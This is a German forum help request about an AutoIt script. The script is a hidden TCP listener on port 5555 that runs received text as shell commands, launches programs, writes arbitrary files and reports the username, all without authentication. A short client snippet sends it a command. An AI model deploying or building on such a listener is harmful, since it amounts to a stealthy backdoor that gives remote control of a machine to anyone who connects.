Hallo,
ich hab ein Problem mit diesem Programm:
Spoiler anzeigen
#NoTrayIcon
#include <Process.au3>
TCPStartup()
$s=TCPListen(@IPAddress1,5555,5)
While 1
$acc=TCPAccept($s)
If $acc<>-1 Then
MsgBox(0,"","rein")
$r=""
While $r=""
$r=TCPRecv($acc,4)
Sleep(10)
WEnd
Switch $r
Case "cmdc"
_RunDOS(TCPRecv($acc,10000))
Case "shex"
$d=TCPRecv($acc,10000)
$s=StringSplit($d,@CRLF,1)
If @error=1 Then
ShellExecute($d)
Else
ShellExecute($s[1],$s[2])
EndIf
Case "file"
$d=TCPRecv($acc,10000)
$s=StringSplit($d,@CRLF,1)
If Not @error=1 Then
$f=FileOpen($s[1],18)
FileWrite($f,$s[2])
For $x=3 to $s[0]
FileWrite($f,$s[$x]&@CRLF)
Next
While 1
$d=TCPRecv($acc,10000)
if @error then ExitLoop
FileWrite($f,$d)
WEnd
FileClose($f)
EndIf
Case "ison"
TCPSend($acc,@UserName)
EndSwitch
TCPCloseSocket($acc)
MsgBox(0,"","raus")
EndIf
Sleep(50)
WEnd
TCPCloseSocket($s)
TCPShutdown()
so sende ich:
[autoit]
TCPStartup()
$c=TCPConnect("127.0.0.1",5555)
If @error Then ContinueLoop
TCPSend($c,"shexmsconfig")
TCPCloseSocket($c)
Das Problem:
einmal klappt es, während der Server on bleibt und ich ein 2. mal probiere sagt tcpaccept aber anscheinend immer weiter -1
Danke im vorraus
PS: wenn am Server mehrere male ison oder cmdc ankommt klappt es (info: da wird kein @crlf gesendet, bei file ist überhaupt noch irgendwas falsch)